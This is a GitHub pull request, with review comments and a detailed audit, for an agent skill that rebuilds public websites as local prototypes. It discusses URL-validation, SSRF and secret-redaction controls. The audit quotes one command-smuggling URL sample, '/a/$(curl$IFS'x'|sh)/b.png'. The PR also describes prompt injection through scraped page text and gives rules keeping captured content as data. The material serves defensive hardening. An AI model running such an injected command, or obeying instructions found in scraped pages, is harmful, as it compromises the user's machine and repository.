Skip to content

feat(starters): recreate production websites as local prototypes - #195

Closed
PCoelho wants to merge 44 commits into
mainfrom
feat/create-prototype-from-production
Closed

PCoelho wants to merge 44 commits into
mainfrom
feat/create-prototype-from-production

Conversation

@PCoelho

@PCoelho PCoelho commented Nov 5, 2026 •

Copy link
Copy Markdown
Collaborator

Why

Product teams need to explore changes to an existing website without changing the live product. Rebuilding its pages, navigation and visual patterns by hand is repetitive work, while disconnected mockups leave out the context needed to judge how a change fits the wider experience. This skill gives teams an editable, connected local starting point from a public production site, so they can focus on testing ideas rather than reconstructing what already exists.

What changes

Adds create-prototype-from-production to the Minimal starter. It turns a public production URL into a standalone, connected prototype in one run:

/create-prototype-from-production https://example.com/

The skill asks two intake questions (coverage and a go-ahead for local work). Unattended runs apply the defaults. The go-ahead covers only local, git-reversible work; the skill never signs in, submits real data, pushes or publishes. Then it runs three phases:

  1. Discover: proves the browser session is empty, finds every first-level destination in the rendered site (header, menus, mobile menu, footer) and groups pages into families by their section structure.
  2. Capture: saves one full reference per family and the content of every page under reference/.
  3. Build: builds each family's representative first, checks it section by section against the source, builds the rest of the family from it, verifies every local route and sets the source page as the entry page.

A coverage ledger, reference/coverage.json, records each destination as built, stubbed (external, login, download) or deferred. check-ledger.mjs enforces the coverage and routing rules, and its --final mode requires a verified source page.

Safety model. The browser runs in a fresh, signed-out session, so the only way a secret can enter the run is through the URL the user supplies; the ledger rejects a source URL that carries one. The browser loads the public site like any visitor's browser, which the skill states. The agent's own downloads go through fetch-assets.mjs, which rejects private addresses before connecting and on every redirect, limits size and time, and records sources with signing values redacted. Captured content stays under reference/ as data and never becomes agent guidance. Captured SVGs are used only through <img> or CSS.

Context. create-prototype needs active context. When a repository has none, the skill copies Minimal's default context files into .agents/context/ with one cp command. Existing team guidance is used as is.

Why the Minimal starter only. Cloning a production site wants a blank canvas with no component library, which is Minimal. Putting the skill in starters/shared would list it in every app's repositories, where it isn't useful.

Hub test fixes. Starter changes select Hub integration checks, and this PR exposed three existing test-fixture races there: a canvas test queried lazy review controls before initialization, a Hub-panel test assumed selection would stay the last message during bridge polling, and a Rails reply fixture could violate a timestamp constraint across a clock tick. The fixes are test-only.

Results so far. Unattended runs of the original version in the GitHub Copilot App built awesome-azd in about 38 minutes, and two large content sites with dozens of first-level pages in 40 minutes to 3 hours, with most inner pages closely matching the source.

Known limitations:

  • The current version has not yet had a real end-to-end run.
  • The downloader does not pin connections, so DNS rebinding between its check and the connection is an accepted risk.
  • Attended intake has not yet been exercised with user responses.

PCoelho and others added 6 commits November 4, 2026 11:27
Turns a public production URL into a standalone, connected prototype:
rendered discovery with a runtime-proven isolated browser, family-based
capture, capture-derived context, build via create-prototype, one
comparison pass, and a coverage ledger checked at handoff.

Lives in the minimal starter only: a production copy starts from a blank
app with no component library, and other apps have no use for it.

Tested with scripted Copilot CLI runs before and after each change,
against awesome-azd and two large public sites, plus one end-to-end run.
- Gate each family representative section by section before building
  members; only residual differences go to the differences report.
- Exclude icon-font ligature names from captured text.
- Keep every asset at original size; ask only about a file over 300 MB.
- Ask both intake questions before opening the site.
- Commit after Capture and after Build.
- Reject a URL listed more than once in the ledger.
…totype-from-production

- check-ledger runs when invoked through a path with spaces or symlinks.
- Local boundaries (stub-auth, stub-download, deferred) need a local
  route and a final status; every route must be a local path.
- Serve assets of 25 MiB or less as-is. Ask once about larger ones; with
  no answer, serve a copy under 25 MiB and keep the original in
  reference/originals/. Never commit a file over 100 MiB.
- A missing canvas no longer stops the run: say once how to enable it,
  then continue with the local preview.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Reject protocol-relative routes, backslashes, and control characters while retaining local query and fragment support.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Use defaults without blocking prompts for explicitly authorized local runs. Document fresh-context and local-preview exceptions without replacing existing guidance or authorizing publication.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
PCoelho and others added 3 commits November 9, 2026 09:56
Bootstrap fresh projects from the fixed Minimal baseline instead of activating website-derived guidance. Preserve existing context and verify the deterministic copy and write boundaries.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Refresh the upstream baseline without rewriting feature commits so GitHub can create a fresh CI run after incomplete retries.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Wait for the real lazy feature inside React act before checking initial saved comments. Preserve the existing review-surface assertions and normal timeouts.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
@PCoelho PCoelho changed the title feat(starters): add create-prototype-from-production skill to minimal feat(starters): recreate production websites as local prototypes Nov 9, 2026
@PCoelho
PCoelho marked this pull request as ready for review November 9, 2026 19:13
@PCoelho
PCoelho requested review from a team and nshki as code owners November 9, 2026 19:13
Copilot AI dynamic review requested due to automatic review settings November 9, 2026 19:13

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

The capture workflow lacks safeguards against private-network requests and captured SVGs executing untrusted code on the prototype’s origin.

11 open issues
What changed in this PR

Adds a Minimal-only skill that recreates public websites as editable, connected local React prototypes using Replica’s shared authoring and browser workflows.

Changes:

  • Defines discovery, capture and family-based implementation, tracked by a coverage ledger.
  • Adds trusted baseline context, asset-handling rules and a scoped unattended local-preview exception.
  • Adds helper tests and starter CI coverage, plus synchronization for a Hub canvas test.
File Description
starters/​shared/​REPLICA.md Documents the unattended local-preview exception.
starters/​shared/​REPLICA-AGENTS.md Aligns agent instructions with the preview exception.
starters/​minimal/​AGENTS.md Defines scoped baseline-context bootstrapping.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​workflows/​discover.md Defines navigation discovery, families and ledger creation.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​workflows/​capture.md Defines reference capture, assets and untrusted-data boundaries.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​workflows/​build.md Defines editable implementation, comparison and handoff.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​SKILL.md Adds the skill entrypoint, intake and permission rules.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​check-ledger.node-test.mjs Covers ledger validation and CLI execution.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​check-ledger.mjs Validates coverage decisions, routes and statuses.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​bootstrap-context.node-test.mjs Covers exact baseline copying and existing-context preservation.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​bootstrap-context.mjs Installs fixed context only when both active roots are absent.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​SEED-DATA.md Defines captured-content and seed-data boundaries.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​RESPONSIVE-DESIGN.md Defines viewport targets and responsive evidence.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​REPOSITORY.md Records Minimal architecture, commands and task constraints.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​PRODUCT-DESIGN.md Defines mock interactions, navigation and fidelity limits.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​DESIGN-SYSTEM.md Defines component, styling and semantic defaults.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​BROWSER-VALIDATION.md Defines isolated browser validation and evidence limits.
starters/​minimal/​.agents/​skills/​create-prototype-from-production/​references/​local-context/​ACCESSIBILITY.md Defines accessibility defaults and verification boundaries.
scripts/​create-prototype-repo.test.mjs Accounts for Minimal’s additional bundled skill.
hub/​app/​javascript/​application/​prototype-canvas/​tests/​commenting-and-polish.test.tsx Waits for dynamic imports before assertions.
.github/​workflows/​starter-ci.yml Runs the new helper test suites in starter CI.

Review effort: Max (auto)

Comment thread starters/shared/REPLICA.md Resolved

@nshki nshki left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, @PCoelho! This will undoubtedly be super useful.

I'd reckon most teams using this skill will need to replicate an auth-gated app. Would love to explore whether we're able to base this skill on the assumption that most usages will need to get past auth gates rather than purely public.

If you've already explored this path, would love to understand some of the findings you had.

Validate source coverage, absolute targets and single-page browser evidence. Stage complete trusted context before publication and cover failure recovery under the documented single-writer rule.

Require safe handling of captured active assets, verify every local route and align contributor commands and canvas scope. Keep complete network egress isolation as an explicit follow-up.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
@PCoelho

PCoelho commented Nov 11, 2026

Copy link
Copy Markdown
Collaborator Author

@nshki Good point on the auth-gated app. I have not explored it yet. I'll work with my agent to first address the issues raised by the copilots. Once that's stabilized I'll run some testing on auth-gated.

Curious about your thoughts: Would it be acceptable if the auth is handled by the browser, so by the time the agent is running the skill, it's already in an authenticated space?

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

The ledger gate accepts off-origin or non-HTTP(S) build targets and invalid external stubs, allowing out-of-scope captures, unsafe outbound links, and same-origin destinations without local routes.

5 open issues
3 previously missed issues

In code that hasn't changed since last review

Medium severity Require blocked notes to be nonblank strings

starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​check-ledger.mjs:65

blocked is a final status, but this truthiness check accepts whitespace-only strings and objects as blocker notes. A representative blocked page with note: " \t\n" passes --final without explaining what failed or remains unchecked, contrary to the Build workflow's handoff requirement. Require a nonblank string here, as the deferred-source check already does.

Medium severity Report local-boundary statuses and handle invalid pages safely

starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​check-ledger.mjs:103

The summary drops the status of local boundaries, so a successful final check can hide blocked work; it also throws on a non-array pages value before reporting the collected validation error. Iterate only arrays and count build, stub-auth, stub-download and deferred rows by both decision and status.

Medium severity Reject unrecognized command-line options

starters/​minimal/​.agents/​skills/​create-prototype-from-production/​scripts/​check-ledger.mjs:111

Unknown -- options are silently ignored, so --fianl or --final=true runs discovery validation and accepts a ledger whose pages are still planned. Reject unrecognized options with exit code 2 rather than reporting a successful final gate.

7 resolved since last review

Review effort: Max (auto)

Reject files and symlinks before accepting an existing context directory, without modifying the entry or its target. Keep real directory guidance and the single-writer staging behavior unchanged.

Cover readable off-repository links as well as dangling links at both supported roots, and make blocked guidance handling explicit.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Require HTTP(S) local targets, source-origin builds and supported outbound schemes. Record unsupported non-web actions in owning-page notes instead of navigable ledger rows.

Require meaningful blocker notes, report every local decision by status, diagnose malformed ledger shapes and reject unknown CLI options or excess paths. Add independent regression coverage for the review findings.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Needs a closer look

Human assessment is needed because twice-encoded URLs can bypass validation and save reset tokens in reference data, while multi-route scaffolding can select the wrong entry page.

No open issues 🎉

Review effort: Max (auto)

PCoelho and others added 2 commits November 12, 2026 01:13
Unwrap nested values within a fixed inspection budget and stop at native URL component boundaries. Preserve ordinary public codes and encoded delimiters without treating them as credential parameters.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c
Require the production-prototyping workflow to restore its source or agreed entry route after scaffolding and verify that exact preview start page. Keep unavailable rendered checks explicit.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 48fb576d-add8-4642-935b-94c84061db4c

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 Needs a closer look

Human security review is needed to assess URL-validation gaps that can allow credential-bearing URLs into capture artifacts.

No open issues 🎉

Review effort: Max (auto)

@PCoelho

PCoelho commented Nov 12, 2026 •

Copy link
Copy Markdown
Collaborator Author

The current head, 4a8626d, has no open Copilot issues. Its overview still asks for human security assessment, so I checked the URL-parsing cases separately rather than treating passing checks as security approval.

The reconstructed cases do not establish a defect under the documented contract. Encoded ? or # in an absolute URL remain pathname data. A semicolon inside a query value remains part of that value, and an ampersand inside a hash-route pathname is not a query separator. Actual query/fragment credential parameters are rejected. Splitting those data forms indiscriminately would break the public-routing controls already covered by the tests.

The URL privacy guidance still requires context-sensitive inspection before tool use or persistence. If a source application gives one of these forms credential semantics, its values must be redacted or that capture blocked. The static helper is not a complete secret detector. This assessment does not claim human security approval or the still-unverified real-host end-to-end checks, and it does not change the deferred authenticated-app scope.

(Written by Copilot)

@nshki

nshki commented Nov 12, 2026

Copy link
Copy Markdown
Contributor

@nshki Good point on the auth-gated app. I have not explored it yet. I'll work with my agent to first address the issues raised by the copilots. Once that's stabilized I'll run some testing on auth-gated.

Curious about your thoughts: Would it be acceptable if the auth is handled by the browser, so by the time the agent is running the skill, it's already in an authenticated space?

Thank you! I think that's acceptable as long as we make it clear to users that's how we're handling authentication.

@PCoelho

PCoelho commented Nov 12, 2026

Copy link
Copy Markdown
Collaborator Author

Audit of the hardening pass: the safest plane never leaves the hangar

I audited the 31 commits added since the original three (81a89c94..4a8626d), which addressed the Copilot and GitHub Advanced Security review findings. All checks are green: 263/263 helper tests, check-starter.sh minimal and every PR CI job. The problems below are the ones the tests can't see.

TL;DR

  • The skill no longer works. An agent that follows the instructions on the repository's own setup (Copilot CLI with the Playwright MCP from .github/mcp.json) stops before its first request to the reference site, and no setting or answer from the user can unblock it.
  • Several bot findings were valid, and their fixes stay. Others, answered one at a time with more rules and more URL parsing, added up to a skill that is very safe because it never runs.
  • The safest plane is the one that never flies. But we're building a plane. Security here has to come from code that enforces a boundary, not from prose rules that no available host can satisfy.
  • Below: what broke and why, which review findings to keep, reshape or decline, and a complete brief for the agent that will make the fixes.

What happened

The original three commits were built and tuned against real Copilot CLI runs: awesome-azd, two large public sites and one end-to-end run. The follow-up commits answered about 26 review findings one at a time. Each answer was reasonable in its own thread. Together they did this:

Original Now
PR size ~530 added lines, 8 files ~2,850 added lines, 29 files
Agent-facing instructions (SKILL.md + 3 workflows) 2,440 words 5,626 words, plus 1,402 words of bootstrapped context
Commits spent extending the static URL checker 0 about 12
Runs against a real host yes none since the hardening started

The URL work never converged. Each review round, run at Copilot's maximum effort, found one more URL shape, and each fix invited the next. The latest Copilot overview still says "needs a closer look" after "No open issues". A denylist doesn't converge, so another round won't fix this.

Findings that stop the skill from working

1. Remote capture requires host controls that no supported host provides.
SKILL.md:27, workflows/discover.md:25-29 and workflows/capture.md:9-25 block every remote request, including the first probe, until the host proves two things:

  • network access restricted to public addresses at the connection level, covering DNS, every redirect, subresources, workers and WebSockets;
  • byte, time and total limits enforced while data streams in.

The prescribed Playwright MCP (--isolated --no-webmcp) provides neither. Its own README says --allowed-origins "does not serve as a security boundary". The skill also forbids configuring a proxy, firewall or MCP setting to get there (discover.md:29, capture.md:25).

Nothing in code enforces the gate either:

  • The agent records the evidence itself in reference/preflight.json, and no script reads that file.
  • A ledger whose only row is a blocked source passes the final check:
# from starters/minimal, with a ledger whose only row is the source, status "blocked"
node .agents/skills/create-prototype-from-production/scripts/check-ledger.mjs blocked.json --final
# {"build/blocked":1}
# exit 0

So a careful model blocks and builds nothing. A less careful one writes something plausible into preflight.json and carries on, and no check notices.

2. Public images on signed CDN URLs are rejected, even though the browser has already loaded them.
These are rejected: S3 X-Amz-Signature, Azure SAS sig, CloudFront Signature, Firebase ?alt=media&token=…, and even Mapbox's deliberately public access_token. No fallback is allowed (capture.md:69). But capture.md:29-32 requires every visible image to be fully loaded before a screenshot, so the browser has already requested those exact URLs. The rejection prevents no request. It only removes the images from the prototype, and the representative gate then treats each missing image as a defect.

node .agents/skills/create-prototype-from-production/scripts/check-public-url.mjs \
  'https://bucket.s3.amazonaws.com/hero.jpg?X-Amz-Signature=abc'
# Cannot use reference URL: secret-bearing URL components are not allowed.

3. Ordinary source URLs are rejected.
check-public-url.mjs:167-173 rejects a literal % or non-UTF-8 escapes in the path or fragment, such as /products/100%-cotton-tee, /stra%DFe or #save-20%. If the source URL looks like that, the whole run is blocked. The check is left over from an earlier implementation, and only one test depends on it.

4. A headless "replicate this site" no longer builds anything.
SKILL.md:14-21 now requires "an explicit request for an unattended local run" and states that autopilot, headless runs and silence grant nothing (:75). Building the prototype now also sits inside that go-ahead. So an autopilot prompt such as "create a prototype from https://…" defers the build.

Separately, attended runs with no canvas now stop at Build. The original deliberately continued with the local preview.

Commit 4bfcfd93 predates the first review comment, so no reviewer asked for either change.

Other problems

  1. The family-merge rule from the large-site runs is gone (a2954d21, discover.md:76, SKILL.md:77).
    • Original: "more families than half the pages means the fingerprint is too fine; merge families whose section types differ only by one optional section."
    • Now: "merge only pages that share the same composition". Pages with the same fingerprint are already one family, so this never merges anything, and the red-flag table now agrees with the mistake it was meant to catch.
    • Large sites will split into more families, which means more full captures and more compositions to build.
  2. Each URL check takes three tool calls, one URL at a time (discover.md:31-37). The agent writes reference/next-target.txt, runs the checker, then deletes the file, before every navigation, download and redirect it can see. On a site with 30 pages and 150 assets that is about 400–650 extra tool calls. There is no batch mode, even though check-ledger.mjs already checks a whole file in one call.
  3. There is no allowed way to download an asset. discover.md:37 forbids putting a captured URL into a shell command or generated code. capture.md:69 asks for "verified bounded HTTP" downloads without providing a tool, and web_fetch returns text, not files. Agents will write curl "URL". A captured URL such as /a/$(curl$IFS'x'|sh)/b.png keeps its shell characters after URL normalization and passes the checker. The original had the same gap; the hardening wrote rules around it instead of closing it.
  4. The bootstrap can write context into the wrong folder (bootstrap-context.mjs:61,72).
    • It treats the current folder as the repo root and creates .agents if missing.
    • Run from src/, it creates src/.agents/context/, exits 0 and prints "Created .agents/context…".
    • The context folder it creates is owner-only (0700), because it is a renamed mkdtemp folder.
  5. The bootstrap permanently installs task-specific guidance as repo-wide context.
    • What it installs: "Production-copy task baseline", text about the coverage ledger, "Never inherit authentication" and "Do not sign in".
    • Where it comes from: a copy of the shared templates inside the skill. context-templates/SKILL.md:8-9 says "Do not duplicate templates inside individual skills".
    • The copy has already drifted inside this PR: REPOSITORY.md lists five commands, while AGENTS.md now says check:starter.
    • The go-ahead question no longer tells the user that context will be activated.
  6. The instructions are 2.3 times longer, and many rules repeat.
    • The network rule is stated 7 times. "authoriz*" went from 0 to 30 occurrences and "do not" from 4 to 36.
    • Many sentences describe how the scripts work internally or answer a reviewer, and give the agent nothing to act on.
    • More text is not more safety for an LLM; it dilutes the rules that matter.
  7. The privacy check runs at the wrong point. It blocks requests, but nothing scans what is saved: content.json, assets.json and structure.json have no check. Removing secrets from URLs when they are saved would protect more and break less.
  8. This moves away from the open change request about auth-gated apps.
    • The ledger now hard-fails .internal, .corp and private-IP hosts.
    • "Public addresses only" is the opposite of what internal apps need.
    • Every bootstrapped repo gets a permanent "do not sign in" rule.

What the hardening got right (keep)

  • Fixed baseline context instead of context generated from the site. This closes a real hole where page text could become persistent agent instructions.
  • Ledger hardening:
    • no crashes on 30,000 randomly malformed ledgers;
    • protocol and origin rules for each decision;
    • a seeded source row;
    • pages === 1;
    • required notes on verified and blocked rows;
    • errors that don't print URLs.
  • Workflow fixes:
    • checking every local route (build.md:54-60);
    • the startPage step (build.md:62-66), which fixes a real bug where the last route created became the entry page;
    • resolving relative links, keeping trailing slashes, and not treating in-page section links as pages.
  • The IP-address blocklist with the 2000::/3 public-range rule is well designed.
  • CI wiring through npm run check:starter. The assembled starter includes the tests and runs them on Node 24 and 26.

What happens to each review finding

Finding Disposition Why
Captured site content written as active .agents/context/ (GHAS) Keep the fix A real way for page text to become persistent agent instructions. The fixed baseline closes it.
Protocol and origin rules per ledger decision (Copilot, GHAS) Keep Cheap and deterministic. Stops file: or javascript: targets from driving navigation.
Seed the source row, check every local route, require pages === 1 and a URL on every row Keep Real workflow gaps.
Bootstrap staging and recovery from a partial context folder Keep A good robustness fix.
Error messages that don't print URLs Keep
Block private-network destinations for discovery and downloads Reshape Enforce it in code for the agent's own downloads with a new fetch-assets.mjs, keep the static check on explicit navigation, and state the browser's subresource requests as remaining risk. A prose gate no host can meet blocked all capture.
Per-transfer and total capture limits Reshape Enforce them while downloading, in fetch-assets.mjs. Browser navigation is already bounded by Playwright's 60-second default timeout.
Sanitize active assets (SVG) before serving Reshape Detect active content, then rasterize through an <img> render in the isolated browser. Never block a page because a converter is missing.
Secret-bearing URLs (several rounds) Reshape Remove secrets when URLs are saved, keep a small list of blocked parameter names, and stop extending the parser.
Non-canonical IPv4 forms bypass the check (GHAS) Decline False positive. WHATWG URL parsing already turns 127.1, 0x7f.1 and 2130706433 into 127.0.0.1.
Symlinked context folders (GHAS) Keep as is Low value, since it needs repo write access, but cheap.
Move the unrelated Hub test changes out Keep in this PR, explained Starter changes trigger the Hub suite, and these flaky-test fixes are needed for green CI.

Brief for the implementing agent

You are fixing PR #195 (feat/create-prototype-from-production) in github/replica. Read this whole comment first. Paths below are relative to starters/minimal/.agents/skills/create-prototype-from-production/ unless they start with starters/, scripts/, hub/ or .github/. Line numbers refer to 4a8626d.

Goal

A skill that a real agent can run end to end on the repository's own prescribed setup (Copilot CLI with the Playwright MCP from .github/mcp.json) without extra network infrastructure. It keeps the security fixes that are enforced by code, and states the remaining risk honestly instead of blocking on it.

Ground rules

  1. A rule a compliant agent can't satisfy on the prescribed setup is a bug. Remove or reshape it.
  2. Enforce security controls in the scripts we ship, not in prose the agent fills in about itself. If code can't enforce a control, describe the remaining risk in one sentence instead of gating on it.
  3. Don't add blocked names, parsing branches or doc rules in response to individual review findings about URL shapes.
    • Triage each new bot finding: which attacker, in which deployment, and what it costs a legitimate run.
    • When it's another edge case in the static checker, decline it with the standard response below.
  4. State each rule once, in the file that owns it. Other files link to it.
  5. Stop-loss. If you're writing a third fix for the same concern, or fixes start to outnumber feature work, stop and report back instead of continuing.
  6. Baseline. 81a89c94 is the last version validated by real runs. Use git show 81a89c94:<path> whenever an item says "restore".
  7. Checks. Run node --test starters/minimal/.agents/skills/create-prototype-from-production/scripts/*.node-test.mjs and bash scripts/check-starter.sh minimal <new-dir>. Follow .github/skills/write-tests/SKILL.md.
  8. Commits. One focused conventional commit per item below, on the PR branch. No force-push.

Work items, in order

1. Restore how runs are authorized (SKILL.md, workflows/build.md:5, starters/shared/REPLICA.md, starters/shared/REPLICA-AGENTS.md)

  • A request to replicate a URL is the go-ahead for local, git-reversible work in this repository:
    • install locked dependencies;
    • run the preview;
    • build;
    • make focused local commits.
  • If intake questions go unanswered (autopilot, headless, no reply), apply the defaults and record them in the handoff.
  • Never sign in, submit real data, push, publish or touch other repositories.
  • Remove "explicit request for an unattended local run" as a precondition, and the red flag at SKILL.md:75.
  • The missing-canvas exception applies to every run of this skill, attended or unattended: explain once how to enable the canvas, then continue with the local preview. Keep it scoped to this skill, and keep "does not authorize Hub actions or publishing". Make REPLICA.md and REPLICA-AGENTS.md say the same thing.
  • Acceptance: a headless prompt "create a prototype from https://…" reaches Build without asking a question.

2. Restore the family-merge rule (workflows/discover.md:76, SKILL.md:77)

  • Restore the baseline text: "If there are more families than half the build pages, the fingerprint is too fine: merge families whose section types differ only by one optional section, then re-check."
  • Restore the red-flag "Reality" cell: "Compare section types in order. More families than half the pages is too fine."

3. Add scripts/fetch-assets.mjs: the only way the agent downloads assets

Input and output:

  • The agent writes a JSON manifest with a file-editing tool, then runs node …/fetch-assets.mjs <manifest.json> --out <dir>.
  • The manifest looks like [{ "url": "…", "page": "<slug>" }].
  • URLs never appear on the command line.

For each URL:

  • Run checkPublicUrl.
  • Resolve the host and reject it unless every resolved address is public. Reuse the IP blocklist, and mirror the policy in hub/app/models/analytics/custom_endpoint.rb.
  • Connect to the checked address through a custom lookup, so the address can't change between check and connect.
  • Follow at most 5 redirects manually, re-running both checks for each hop.
  • While streaming, enforce a 64 MiB limit per transfer and a 60-second AbortSignal timeout, plus a 1 GiB total per run. When a limit is hit, abort and keep no partial file.
  • Use node:https directly, without proxy support. Report connection failures per URL.

Saving:

  • Name files by type detected from magic bytes, plus a content hash.
  • Merge an entry into reference/assets.json with these fields:
    • source URL with secrets removed (redactUrl, item 6)
    • served path
    • size
    • sha256
    • detected type
    • active flag (item 5)

Signed CDN URLs (S3, Azure SAS, CloudFront, Firebase token=) are public assets the page already loaded. Download them, and save only the redacted URL.

Output:

  • On stdout, print a JSON summary with a reason per URL and no raw URLs.
  • Exit codes: 0 when everything was fetched, 1 when any URL was rejected or failed, 2 for a usage error.

Tests:

  • Keep them hermetic. Export fetchAssets(manifest, { resolve, isAllowedAddress, … }) so tests can inject the resolver and use a local server.
  • Cover:
    • a host that resolves to a private address is rejected;
    • a redirect to a private address is rejected;
    • a redirect chain longer than 5 is rejected;
    • the size limit aborts mid-stream and leaves no file;
    • a stalled stream times out;
    • a signed URL is fetched and saved redacted;
    • a manifest URL containing shell characters is treated as data.

Docs: the asset paragraph in workflows/capture.md becomes "Download assets only with fetch-assets.mjs; never with curl, wget or generated code."

4. Replace the network gate and the per-URL routine

Delete:

  • SKILL.md:27 and the red flag at :70;
  • workflows/discover.md:7, :25-29, :31-37 (the next-target.txt routine) and :41;
  • workflows/capture.md:7 and :9-25 (the required capture limits);
  • workflows/build.md:72;
  • every mention of reference/preflight.json;
  • the /reference/next-target.txt line in starters/minimal/.gitignore.

Checking navigation targets:

  • Seed the source row and run check-ledger.mjs once before the first visit; that checks the source.
  • Run it again after discovery, before visiting destinations.
  • That's two calls in total, not one per URL.

Add one short paragraph on the remaining risk to workflows/discover.md: "The isolated browser loads the reference site the way any visitor's browser does; this skill does not filter its subresource requests. Run it where visiting a public website is acceptable."

Acceptance: on the prescribed setup with no extra infrastructure, Discover reaches its first navigation.

5. Simplify active-format handling (workflows/capture.md:73-81)

  • fetch-assets.mjs marks an SVG, SVGZ, HTML, XML or JS file as active: true if its content contains any of:

    • <script
    • on…= attributes
    • javascript:
    • <foreignObject
    • <iframe, <embed or <object
    • an href or xlink:href that isn't a fragment
    • <!ENTITY
    • <?xml-stylesheet

    If the content can't be parsed, treat it as active.

  • Serve SVGs that aren't active unchanged.

  • Rasterize active files by rendering them in an <img> in the isolated browser and taking a 2x screenshot. Scripts and external loads don't run in an image context.

  • Keep only the URL and hash of an active original, not its bytes.

  • Never inline captured SVG markup, for example with dangerouslySetInnerHTML.

  • Never block a page because a converter is unavailable. Delete the Vite fs.deny and original-isolation paragraphs.

6. Shrink the URL checker (scripts/check-public-url.mjs)

Keep:

  • the absolute HTTP(S) requirement;
  • rejecting usernames or passwords in the URL;
  • the IP blocklist with the 2000::/3 rule;
  • the local and reserved hostname suffixes;
  • rejecting single-label hosts.

Replace the nested, matrix and multi-decode logic (:70-160) with a flat scan:

  • Percent-decode the full href up to 3 layers.
  • At each layer, reject [?&#;!/]<key>=<non-empty> for a short normalized list of credential keys: token variants, password, secret, session IDs, jsessionid, phpsessid, authorization, API keys.
  • Also reject JWT-shaped strings.
  • Leave CDN signing keys (sig, signature, x-amz-*, x-goog-*) off this list; redactUrl handles them.

Delete the leftover % check (:167-173).

Add export function redactUrl(href). It:

  • drops usernames and passwords;
  • blanks the values of credential and signing keys;
  • strips ;jsessionid=…;
  • replaces JWT-shaped strings.

fetch-assets.mjs uses it, and the capture docs require it for every URL saved in content.json and structure.json.

Extend check-ledger.mjs --final to scan string values in reference/**/*.json that parse as URLs. Fail on any URL that redactUrl would change. This enforces privacy where data is saved.

Tests:

  • Replace the long case lists with one property sweep: credential key × position (query, #, #!, #/, #/x?, ;) × encoding depth 0–3.
  • Add a real-world corpus that must pass the request check and come out of redactUrl redacted:
    • S3 presigned, Azure SAS, CloudFront signed, Firebase token=
    • Next.js /_next/image, Google Fonts, YouTube embeds
    • OIDC sign-in links with state and client_id
    • a literal % in a path, Latin-1 escapes
  • Assert which kind of reason was given, not just /\S/.
  • Keep the CLI and IP tests.

7. Fix the bootstrap (scripts/bootstrap-context.mjs, references/local-context/*.md, starters/minimal/AGENTS.md)

Script:

  • Resolve the repository root from the script's own location (../../../../ from scripts/), not process.cwd().
  • Exit with an error if that root has no package.json and .agents/skills/. Don't create .agents.
  • Set the published folder's mode to 0o755 after the rename.
  • Add .agents/.context-bootstrap-* to starters/minimal/.gitignore.
  • Build the file list from the baseline folder's contents.
  • In the Minimal composition test in scripts/create-prototype-repo.test.mjs, assert that the baseline file names equal the .agents/context-templates document names.

Baseline content:

  • Make the baseline general Minimal defaults.
  • Move the production-copy specifics into this skill's workflow docs, where they apply only during its runs:
    • "Production-copy task baseline";
    • the coverage-ledger and viewport text;
    • "Never inherit authentication";
    • "Do not sign in".
  • Start each baseline file with a line marking it as a replaceable Minimal default ("Replace through /setup-skills").
  • Update REPOSITORY.md to name npm run check:starter.

Related docs:

  • Add one sentence to starters/shared/.agents/context-templates/SKILL.md recording that this skill ships a fixed Minimal baseline, so that rule and the bootstrap no longer contradict each other.
  • The go-ahead question (SKILL.md:21) says plainly: "and, if no context exists, install Minimal's default context into .agents/context/".
  • Replace starters/minimal/AGENTS.md:28 with a one-line pointer to the skill; the rule lives only in SKILL.md.

8. Trim the docs

